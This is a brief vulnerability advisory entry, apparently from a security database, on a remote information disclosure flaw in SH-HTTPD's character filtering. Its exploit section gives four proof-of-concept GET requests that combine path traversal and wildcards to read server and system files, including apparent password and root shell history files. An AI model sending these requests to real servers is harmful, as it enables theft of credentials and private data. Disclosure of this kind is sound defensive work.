• info
• discussion
• exploit
• solution
• references

SH-HTTPD Character Filtering Remote Information Disclosure Vulnerability

The following proofs-of-concept have been made available:

GET *
GET ../../../sh-httpd/p*
GET /../../etc/s*
GET ../../root/.b*